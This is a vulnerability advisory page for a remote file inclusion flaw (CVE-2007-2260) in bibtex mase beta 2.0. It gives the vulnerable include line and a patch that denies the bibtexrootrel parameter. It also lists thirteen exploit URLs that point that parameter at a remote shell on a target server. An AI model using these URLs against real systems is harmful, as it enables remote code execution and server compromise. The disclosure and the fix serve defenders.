bibtex mase Remote File Inclusion

2007-04-26 / 2007-04-27

Credit: InyeXion

Risk: High

Local: No

Remote: Yes

CVE: CVE-2007-2260

CWE: CWE-94

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~
bibtex mase Remote File Inclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~
Affected Software .: bibtex mase beta 2.0
Download..: http://www.cs.kuleuven.ac.be/~raf/bibtex/downloads/bibtex_mase_beta_2.0.
tgz
Risk ..............: high
Found by ..........: InyeXion
Contact ...........: InyeXion[at]gmail.com
Web .............: Www.InyeXion.com.ar
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~
Affected Files:
/unavailable.php
/Source.php
/log.php
/latex.php
/indexinfo.php
/index.php
/importinfo.php
/import.php
/examplefile.php
/clearinfo.php
/clear.php
/aboutinfo.php
/about.php
etc.....
Vulnerable Code:
include($bibtexrootrel."/layout/header.inc");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~
Exploit:
http://[target]/unavailable.php?bibtexrootrel=Shell?
http://[target]/source.php?bibtexrootrel=Shell?
http://[target]/log.php?bibtexrootrel=Shell?
http://[target]/latex.php?bibtexrootrel=Shell?
http://[target]/indexinfo.php?bibtexrootrel=Shell?
http://[target]/index.php?bibtexrootrel=Shell?
http://[target]/importinfo.php?bibtexrootrel=Shell?
http://[target]/import.php?bibtexrootrel=Shell?
http://[target]/examplefile.php?bibtexrootrel=Shell?
http://[target]/clearinfo.php?bibtexrootrel=Shell?
http://[target]/clear.php?bibtexrootrel=Shell?
http://[target]/aboutinfo.php?bibtexrootrel=Shell?
http://[target]/about.php?bibtexrootrel=Shell?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~
Fixed bug:
if((isset($_REQUEST['bibtexrootrel']) || isset($_GET['bibtexrootrel']) || isset($_POST['bibtexrootrel'])) && !defined("bibtexrootrel")){
die("denied access"); }
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

bibtex mase Remote File Inclusion

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.